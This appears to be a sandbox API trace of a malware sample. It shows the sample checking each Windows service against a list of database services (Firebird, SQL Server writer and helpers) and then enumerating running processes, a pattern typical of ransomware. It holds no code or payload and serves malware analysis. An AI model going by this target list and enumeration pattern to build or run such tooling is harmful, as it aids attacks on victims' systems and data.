	[0060.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0060.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0060.415] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0060.415] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0060.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0060.416] lstrlenW (lpString="MapsBroker") returned 10
	[0060.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0060.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0060.416] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0060.416] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0060.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0060.416] lstrlenW (lpString="MpsSvc") returned 6
	[0060.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0060.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0060.416] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0060.416] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0060.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0060.416] lstrlenW (lpString="NcbService") returned 10
	[0060.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0060.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0060.416] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0060.416] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0060.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0060.416] lstrlenW (lpString="netprofm") returned 8
	[0060.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0060.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0060.416] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0060.416] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0060.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0060.416] lstrlenW (lpString="NlaSvc") returned 6
	[0060.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0060.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0060.416] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0060.416] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0060.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0060.416] lstrlenW (lpString="nsi") returned 3
	[0060.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0060.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0060.417] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0060.417] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0060.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0060.417] lstrlenW (lpString="PcaSvc") returned 6
	[0060.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0060.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0060.417] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0060.417] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0060.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0060.417] lstrlenW (lpString="PlugPlay") returned 8
	[0060.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0060.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0060.417] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0060.417] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0060.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0060.417] lstrlenW (lpString="Power") returned 5
	[0060.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0060.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0060.417] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0060.417] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0060.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0060.417] lstrlenW (lpString="ProfSvc") returned 7
	[0060.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0060.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0060.417] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0060.417] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0060.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0060.417] lstrlenW (lpString="RpcEptMapper") returned 12
	[0060.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0060.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0060.417] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0060.417] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0060.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0060.417] lstrlenW (lpString="RpcSs") returned 5
	[0060.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0060.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0060.418] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0060.418] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0060.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0060.418] lstrlenW (lpString="SamSs") returned 5
	[0060.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0060.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0060.418] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0060.418] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0060.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0060.418] lstrlenW (lpString="Schedule") returned 8
	[0060.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0060.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0060.418] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0060.418] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0060.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0060.418] lstrlenW (lpString="SecurityHealthService") returned 21
	[0060.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0060.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0060.418] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0060.418] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0060.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0060.418] lstrlenW (lpString="SENS") returned 4
	[0060.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0060.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0060.418] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0060.418] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0060.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0060.418] lstrlenW (lpString="ShellHWDetection") returned 16
	[0060.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0060.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0060.418] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0060.418] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0060.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0060.418] lstrlenW (lpString="Spooler") returned 7
	[0060.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0060.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0060.419] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0060.419] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0060.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0060.419] lstrlenW (lpString="SSDPSRV") returned 7
	[0060.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0060.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0060.419] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0060.419] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0060.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0060.419] lstrlenW (lpString="StateRepository") returned 15
	[0060.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0060.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0060.419] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0060.419] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0060.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0060.419] lstrlenW (lpString="SysMain") returned 7
	[0060.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0060.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0060.419] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0060.419] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0060.419] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x80fc88 | out: hHeap=0x720000) returned 1
	[0060.419] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2c0
	[0060.683] Process32FirstW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0060.684] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0060.684] lstrlenW (lpString="System") returned 6
	[0060.684] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0060.685] lstrlenW (lpString="smss.exe") returned 8
	[0060.685] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0060.685] lstrlenW (lpString="csrss.exe") returned 9
	[0060.685] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0060.686] lstrlenW (lpString="wininit.exe") returned 11
	[0060.686] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0060.686] lstrlenW (lpString="csrss.exe") returned 9
	[0060.687] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0060.687] lstrlenW (lpString="winlogon.exe") returned 12
	[0060.687] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0060.688] lstrlenW (lpString="services.exe") returned 12
	[0060.688] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0060.688] lstrlenW (lpString="lsass.exe") returned 9
	[0060.688] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.689] lstrlenW (lpString="svchost.exe") returned 11
	[0060.689] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0060.689] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0060.689] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0060.690] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0060.690] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.690] lstrlenW (lpString="svchost.exe") returned 11
	[0060.690] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0060.691] lstrlenW (lpString="dwm.exe") returned 7
	[0060.691] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.691] lstrlenW (lpString="svchost.exe") returned 11
	[0060.691] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.692] lstrlenW (lpString="svchost.exe") returned 11
	[0060.692] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.692] lstrlenW (lpString="svchost.exe") returned 11
	[0060.692] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.693] lstrlenW (lpString="svchost.exe") returned 11
	[0060.693] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.693] lstrlenW (lpString="svchost.exe") returned 11
	[0060.693] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.694] lstrlenW (lpString="svchost.exe") returned 11
	[0060.694] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.694] lstrlenW (lpString="svchost.exe") returned 11
	[0060.694] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.695] lstrlenW (lpString="svchost.exe") returned 11
	[0060.695] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.695] lstrlenW (lpString="svchost.exe") returned 11
	[0060.695] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.696] lstrlenW (lpString="svchost.exe") returned 11
	[0060.696] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0060.696] lstrlenW (lpString="spoolsv.exe") returned 11
	[0060.697] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.697] lstrlenW (lpString="svchost.exe") returned 11
	[0060.697] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0060.698] lstrlenW (lpString="audiodg.exe") returned 11
	[0060.698] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0060.698] lstrlenW (lpString="sihost.exe") returned 10
	[0060.698] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.699] lstrlenW (lpString="svchost.exe") returned 11
	[0060.699] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0060.699] lstrlenW (lpString="taskhostw.exe") returned 13
	[0060.699] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0060.700] lstrlenW (lpString="explorer.exe") returned 12
	[0060.700] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0060.700] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0060.700] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0060.701] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0060.701] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0060.701] lstrlenW (lpString="Memory Compression") returned 18
	[0060.701] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0060.702] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0060.702] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0060.702] lstrlenW (lpString="SearchUI.exe") returned 12
	[0060.702] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0060.703] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0060.703] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0060.703] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0060.703] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending.exe")) returned 1
	[0060.704] lstrlenW (lpString="pending.exe") returned 11
	[0060.704] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed-bug-workers.exe")) returned 1
	[0060.704] lstrlenW (lpString="impressed-bug-workers.exe") returned 25
	[0060.704] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="sw_sorts.exe")) returned 1
	[0060.705] lstrlenW (lpString="sw_sorts.exe") returned 12
	[0060.705] Process32NextW (in: hSnapshot=0x2c0, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trademarks-clara-cancer.exe")) returned 1
	[0060.705] lstrlenW (lpString="trademarks-clara-cancer.exe") returned 27
